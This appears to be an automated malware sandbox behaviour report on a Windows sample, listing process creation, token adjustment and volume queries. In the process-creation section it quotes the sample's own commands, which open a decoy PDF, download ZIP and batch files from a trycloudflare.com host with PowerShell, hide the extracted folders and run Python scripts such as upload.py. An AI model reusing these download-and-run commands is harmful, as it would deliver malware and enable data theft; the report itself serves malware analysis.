Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: svchost.exe, 00000005.00000002.2981443618.000001BF9A454000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000005.00000002.2980107627.000001BF94E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpvE
Source: powershell.exe, 00000013.00000002.1951988919.000002299DC1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlla
Source: powershell.exe, 00000004.00000002.1798653871.000001E65BAD2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2071539198.000002D62B7C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Windows\System32\cmd.exe	Section loaded: NULL target: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe protection: readonly	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: NULL target: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe protection: readonly	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: NULL target: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe protection: readonly	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: NULL target: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe protection: readonly	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: NULL target: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe protection: readonly	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: NULL target: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe protection: readonly	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: NULL target: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe protection: readonly	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ride-fatal-italic-information.trycloudflare.com/kbsfaw.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for extraction to finish (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h "C:\Users\user\Downloads\Python"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe money.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe moment.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe update.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe upload.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe time.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe kam.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe momentomo.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ride-fatal-italic-information.trycloudflare.com/kbsfaw.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/startupppp.bat' -OutFile 'C:\Users\user\Downloads\startupppp.bat' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/FTSP.zip' -OutFile 'C:\Users\user\Downloads\FTSP.zip' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\FTSP.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h "C:\Users\user\Downloads\Print"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "& { [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; invoke-webrequest -uri 'https://ride-fatal-italic-information.trycloudflare.com/startupppp.bat' -outfile 'c:\users\user\downloads\startupppp.bat' }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "& { [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; invoke-webrequest -uri 'https://ride-fatal-italic-information.trycloudflare.com/startupppp.bat' -outfile 'c:\users\user\downloads\startupppp.bat' }"			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.27629.0_x64__8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.27629.0_x64__8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
